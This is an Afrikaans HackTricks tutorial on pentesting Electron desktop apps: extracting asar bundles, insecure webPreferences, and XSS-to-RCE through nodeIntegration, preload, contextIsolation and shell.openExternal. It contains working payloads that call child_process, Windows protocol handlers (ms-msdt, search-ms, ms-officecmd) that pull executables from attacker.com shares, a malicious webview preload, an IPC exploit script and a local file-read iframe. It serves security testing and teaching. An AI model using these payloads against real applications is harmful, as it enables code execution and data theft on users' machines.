Electron Desktop Apps
Reading time: 17 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Inleiding
Electron kombineer 'n plaaslike backend (met NodeJS) en 'n frontend (Chromium), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis.
Gewoonlik kan jy die electron app kode binne 'n .asar
toepassing vind, om die kode te verkry moet jy dit onttrek:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
In die bronkode van 'n Electron-app, binne packet.json
, kan jy die main.js
-lĂȘer vind waar sekuriteitskonfigurasies ingestel is.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron het 2 prosestipes:
- Hoofproses (het volledige toegang tot NodeJS)
- Renderer-proses (moet beperkte toegang tot NodeJS hĂȘ vir sekuriteitsredes)
'n renderer-proses sal 'n blaaiervenster wees wat 'n lĂȘer laai:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Die instellings van die renderer process kan gekonfigureer word in die main process binne die main.js-lĂȘer. Sommige van die konfigurasies sal voorkom dat die Electron-toepassing RCE of ander kwesbaarhede kry as die instellings korrek geconfigureer is.
Die electron-toepassing kan toegang tot die toestel verkry via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom:
nodeIntegration
- isoff
per standaard. As aan, laat dit toe om toegang tot node-funksies vanaf die renderer process te verkry.contextIsolation
- ison
per standaard. As af, is die hoof- en renderer processes nie geĂŻsoleer nie.preload
- leeg per standaard.sandbox
- is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.- Node Integrasie in Werkers
nodeIntegrationInSubframes
- isoff
per standaard.- As
nodeIntegration
geaktiveer is, sal dit die gebruik van Node.js APIs in webbladsye wat in iframes binne 'n Electron-toepassing gelaai word, toelaat. - As
nodeIntegration
gedeaktiveer is, sal preloads in die iframe gelaai word.
Voorbeeld van konfigurasie:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Sommige RCE payloads van hier:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Capture traffic
Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Plaaslike Kode Inspuiting
As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
As die nodeIntegration op aan gestel is, kan 'n webblad se JavaScript maklik Node.js kenmerke gebruik net deur die require()
aan te roep. Byvoorbeeld, die manier om die calc toepassing op Windows uit te voer is:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Die skrip wat in hierdie instelling aangedui word, is loaded voordat ander skrips in die renderer, so dit het onbeperkte toegang tot Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Daarom kan die skrip node-funksies na bladsye uitvoer:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > As
contextIsolation
aan is, sal dit nie werk nie
RCE: XSS + contextIsolation
Die contextIsolation stel die geskeide kontekste tussen die webbladskripte en die JavaScript Electron se interne kode in, sodat die JavaScript-uitvoering van elke kode nie mekaar beĂŻnvloed nie. Dit is 'n noodsaaklike kenmerk om die moontlikheid van RCE te elimineer.
As die kontekste nie geĂŻsoleer is nie, kan 'n aanvaller:
- Arbitraire JavaScript in renderer uitvoer (XSS of navigasie na eksterne webwerwe)
- Oorskryf die ingeboude metode wat in preload of Electron interne kode gebruik word na eie funksie
- Trigger die gebruik van oorgeskrewe funksie
- RCE?
Daar is 2 plekke waar ingeboude metodes oorgeskryf kan word: In preload kode of in Electron interne kode:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass klik gebeurtenis
As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil deur 'n middelklik te doen in plaas van 'n gewone linkerklik
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Vir meer inligting oor hierdie voorbeelde, kyk na https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 en https://benjamin-altpeter.de/shell-openexternal-dangers/
Wanneer 'n Electron-desktoptoepassing ontplooi word, is dit van kardinale belang om die korrekte instellings vir nodeIntegration
en contextIsolation
te verseker. Dit is gevestig dat kliënt-kant afstandkode-uitvoering (RCE) wat op preload-skripte of Electron se inheemse kode van die hoofproses teiken, effektief voorkom word met hierdie instellings in plek.
Wanneer 'n gebruiker met skakels interaksie het of nuwe vensters oopmaak, word spesifieke gebeurtenisluisteraars geaktiveer, wat van kardinale belang is vir die toepassing se sekuriteit en funksionaliteit:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Hierdie luisteraars word oorheers deur die lessenaartoepassing om sy eie besigheidslogika te implementeer. Die toepassing evalueer of 'n genavigeerde skakel intern of in 'n eksterne webblaaier geopen moet word. Hierdie besluit word tipies geneem deur 'n funksie, openInternally
. As hierdie funksie false
teruggee, dui dit aan dat die skakel eksterne geopen moet word, met die gebruik van die shell.openExternal
funksie.
Hier is 'n vereenvoudigde pseudokode:
Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die openExternal
funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan aktiveer. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na hierdie hulpbron verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut.
In macos kan die openExternal
funksie benut word om arbitrĂȘre opdragte uit te voer soos in shell.openExternal('file:///System/Applications/Calculator.app')
.
Voorbeelde van Windows protokoluitbuitings sluit in:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + kwesbare preload IPC + shell.openExternal
Hierdie kwesbaarheid kan gevind word in this report.
Die webviewTag is 'n verouderde kenmerk wat die gebruik van NodeJS in die renderer-proses toelaat, wat afgeskakel moet word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai soos:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrĂȘre bladsy te laai, daardie etiket gebruik om 'n arbitrĂȘre vooraflaai-skrip te laai.
Hierdie vooraflaai-skrip is dan misbruik om 'n kwetsbare IPC-diens (skype-new-window
) aan te roep wat shell.openExternal
aangeroep het om RCE te verkry:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Lees Interne LĂȘers: XSS + contextIsolation
Deaktiveer contextIsolation
stel die gebruik van <webview>
etikette in, soortgelyk aan <iframe>
, vir die lees en eksterne oordrag van plaaslike lĂȘers. 'n Voorbeeld wat gegee word demonstreer hoe om hierdie kwesbaarheid te benut om die inhoud van interne lĂȘers te lees:
Verder word 'n ander metode vir die lees van 'n interne lĂȘer gedeel, wat 'n kritieke plaaslike lĂȘer lees kwesbaarheid in 'n Electron desktop-app uitlig. Dit behels die inspuiting van 'n skrip om die toepassing te benut en data te eksterne oordrag:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Ou Chromium
As die chromium wat deur die aansoek gebruik word oud is en daar bekende kwesbaarhede daarop is, mag dit moontlik wees om dit te ontgin en RCE te verkry deur 'n XSS.
Jy kan 'n voorbeeld in hierdie skrywe sien: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Interne URL regex omseiling
As jy 'n XSS gevind het maar jy kan nie RCE aktiveer of interne lĂȘers steel nie, kan jy probeer om dit te gebruik om akkrediteer te steel via phishing.
Eerstens moet jy weet wat gebeur wanneer jy probeer om 'n nuwe URL te open, deur die JS-kode in die front-end na te gaan:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Die oproep na openInternally
sal besluit of die skakel in die desktop venster geopen sal word, aangesien dit 'n skakel is wat aan die platform behoort, of of dit in die blaaier as 'n 3de party hulpbron geopen sal word.
In die geval dat die regex wat deur die funksie gebruik word kwulnerabel is vir omseilings (byvoorbeeld deur nie die punte van subdomeine te ontsnap nie) kan 'n aanvaller die XSS misbruik om 'n nuwe venster te open wat in die aanvallers infrastruktuur geleë sal wees wat om akrediteerbare inligting van die gebruiker vra:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protokol
Soos genoem in die dokumentasie het bladsye wat op file://
loop unilaterale toegang tot elke lĂȘer op jou masjien, wat beteken dat XSS-probleme gebruik kan word om arbitrĂȘre lĂȘers van die gebruiker se masjien te laai. Die gebruik van 'n aangepaste protokol voorkom probleme soos hierdie, aangesien jy die protokol kan beperk tot slegs 'n spesifieke stel lĂȘers.
Afgeleë module
Die Electron Afgeleë module laat renderer prosesse toe om toegang te verkry tot hoof proses API's, wat kommunikasie binne 'n Electron-toepassing fasiliteer. Dit stel egter 'n beduidende sekuriteitsrisiko in. Dit vergroot die toepassing se aanvaloppervlak, wat dit meer kwesbaar maak vir kwesbaarhede soos kruis-webskripting (XSS) aanvalle.
tip
Alhoewel die afgeleë module 'n paar API's van hoof na renderer prosesse blootstel, is dit nie reguit om RCE te verkry net deur die komponente te misbruik nie. Die komponente kan egter sensitiewe inligting blootstel.
warning
Baie toepassings wat steeds die afgeleë module gebruik, doen dit op 'n manier wat NodeIntegration geaktiveer moet wees in die renderer proses, wat 'n groot sekuriteitsrisiko is.
Sedert Electron 14 kan die afgeleë
module van Electron in verskeie stappe geaktiveer word, maar weens sekuriteits- en prestasieredene is dit aanbeveel om dit nie te gebruik nie.
Om dit te aktiveer, moet dit eers in die hoof proses geaktiveer word:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Dan kan die renderer-proses voorwerpe van die module invoer soos:
import { dialog, getCurrentWindow } from '@electron/remote'
Die blog pos dui 'n paar interessante funksies aan wat deur die objek app
van die afstandmodule blootgestel word:
app.relaunch([options])
- Herbegin die toepassing deur die huidige instansie te verlaat en 'n nuwe een te begin. Nuttig vir toepassing opdaterings of beduidende toestand veranderinge.
app.setAppLogsPath([path])
- Definieer of skep 'n gids vir die stoor van toepassing logs. Die logs kan herwin of gewysig word met behulp van
app.getPath()
ofapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registreer die huidige uitvoerbare as die standaardhandler vir 'n spesifieke protokol. Jy kan 'n aangepaste pad en argumente verskaf indien nodig.
app.setUserTasks(tasks)
- Voeg take by die Take kategorie in die Jump List (op Windows). Elke taak kan beheer hoe die toepassing begin of watter argumente oorgedra word.
app.importCertificate(options, callback)
- Implementeer 'n PKCS#12 sertifikaat in die stelsel se sertifikaatwinkel (slegs Linux). 'n Terugroep kan gebruik word om die resultaat te hanteer.
app.moveToApplicationsFolder([options])
- Verskuif die toepassing na die Toepassingsgids (op macOS). Help om 'n standaard installasie vir Mac-gebruikers te verseker.
app.setJumpList(categories)
- Stel of verwyder 'n aangepaste Jump List op Windows. Jy kan kategorieë spesifiseer om te organiseer hoe take aan die gebruiker verskyn.
app.setLoginItemSettings(settings)
- Konfigureer watter uitvoerbare by aanmelding begin saam met hul opsies (slegs macOS en Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences module
Die primĂȘre API vir die toegang tot stelselsvoorkeure en uitstoot van stelselsgebeurtenisse in Electron. Metodes soos subscribeNotification, subscribeWorkspaceNotification, getUserDefault, en setUserDefault is almal deel van hierdie module.
Voorbeeld gebruik:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Luister na natuurlike macOS kennisgewings met behulp van NSDistributedNotificationCenter.
- Voor macOS Catalina kon jy alle verspreide kennisgewings afluister deur nil aan CFNotificationCenterAddObserver te gee.
- Na Catalina / Big Sur kan gesandboxde toepassings steeds subskribere op baie gebeurtenisse (byvoorbeeld, skerm vergrendeling/ontgrendeling, volume monteer, netwerkaktiwiteit, ens.) deur kennisgewings per naam te registreer.
getUserDefault / setUserDefault
-
Interfereer met NSUserDefaults, wat toepassing of globale voorkeure op macOS stoor.
-
getUserDefault kan sensitiewe inligting herwin, soos onlangs lĂȘer plekke of gebruiker se geografiese ligging.
-
setUserDefault kan wysig hierdie voorkeure, wat moontlik 'n app se konfigurasie kan beĂŻnvloed.
-
In ou Electron weergawes (voor v8.3.0), was slegs die standaard suite van NSUserDefaults toeganklik.
Shell.showItemInFolder
Hierdie funksie wys die gegewe lĂȘer in 'n lĂȘerbestuurder, wat automaties die lĂȘer kan uitvoer.
Vir meer inligting, kyk https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Electron toepassings moet 'n Content Security Policy (CSP) hĂȘ om XSS-aanvalle te voorkom. Die CSP is 'n veiligheidsstandaard wat help om die uitvoering van onbetroubare kode in die blaaiers te voorkom.
Dit word gewoonlik gekonfigureer in die main.js
lĂȘer of in die index.html
sjabloon met die CSP binne 'n meta tag.
Vir meer inligting, kyk:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity is 'n hulpmiddel om misconfigurasies en sekuriteits anti-patrone in Electron-gebaseerde toepassings te identifiseer.
- Electrolint is 'n oopbron VS Code-inprop vir Electron-toepassings wat Electronegativity gebruik.
- nodejsscan om te kyk vir kwesbare derdeparty biblioteke.
- Electro.ng: Jy moet dit koop.
Labs
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s kan jy 'n laboratorium vind om kwesbare Electron-toepassings te benut.
Sommige opdragte wat jou sal help met die laboratorium:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Verwysings
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Meer navorsing en skrywe oor Electron-sekuriteit in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.